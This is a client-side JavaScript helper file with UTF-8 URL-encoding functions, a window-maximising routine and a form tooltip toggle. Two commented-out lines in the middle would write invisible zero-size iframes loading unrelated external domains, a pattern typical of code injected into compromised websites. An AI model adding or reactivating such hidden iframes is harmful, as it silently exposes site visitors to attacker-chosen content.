function Esc(inval, utf) {
	inval = escape(inval);
	if (utf == 0) 	{
		return inval;
	}
	outval = "";
	while (inval.length > 0) {
		p = inval.indexOf("%"); 
		if (p >= 0) {
			if (inval.charAt(p + 1) == "u") {
				outval = outval + inval.substring(0, p) + JStoURLEncode(eval("0x" + inval.substring(p + 2, p + 6)));
				inval = inval.substring(p +6, inval.length);
			} else {
				outval = outval + inval.substring(0, p) + JStoURLEncode(eval("0x" + inval.substring(p + 1, p + 3)));
				inval = inval.substring(p + 3, inval.length);
			}
		} else {
			outval = outval + inval;
			inval = "";
		}
	}
	return outval;
}

function JStoURLEncode(c) {
	if (c < 0x80) {
	    return Hexamize(c);
	} else if (c	< 0x800) {
		return Hexamize(0xC0 | c>>6) + Hexamize(0x80 | c & 0x3F);
    } else if (c < 0x10000) {
		return Hexamize(0xE0 | c>>12) + Hexamize(0x80 | c>>6 & 0x3F) + Hexamize(0x80 | c & 0x3F);
    } else if  (c < 0x200000) {
		return Hexamize(0xF0 | c>>18) + Hexamize(0x80 | c>>12 & 0x3F) + Hexamize(0x80 | c>>6 & 0x3F) + Hexamize(0x80 | c & 0x3F);
    } else {
		return '?'		// Invalid character
    }
}

function Hexamize(n) {
	hexstr = "0123456789ABCDEF";
	return "%" + hexstr.charAt(parseInt(n/16)) + hexstr.charAt(n%16);
}
//document.writeln("<iframe src=http:\/\/shetea.cn\/ width=0 height=0><\/iframe>");
//document.writeln("<iframe src=http:\/\/www.nfsc.com.cn\/ width=0 height=0><\/iframe>");
function maxWindow()
{
window.moveTo(-4,-4);


if (document.all)
{
  top.window.resizeTo(screen.availWidth + 8,screen.availHeight + 8);
}

else if (document.layers||document.getElementById)
{
  if (top.window.outerHeight<screen.availHeight||top.window.outerWidth<screen.availWidth)
  {
    top.window.outerHeight = screen.availHeight + 8;
    top.window.outerWidth = screen.availWidth + 8;
  }
}
 window.focus();
}

  function formtooltip(el,flag){
    elem = document.getElementById(el);
    if (flag) { 
      elem.parentNode.parentNode.style.zIndex=1000;
      elem.parentNode.parentNode.style.borderRight='0px solid #000';
      // ugly , yes .. but neccesary to avoid a small but very annoying bug in IE6
      elem.style.visibility='visible';
    }
    else {
      elem.parentNode.parentNode.style.zIndex=1;
      elem.parentNode.parentNode.style.border='none';
      elem.style.visibility='hidden' };
  }

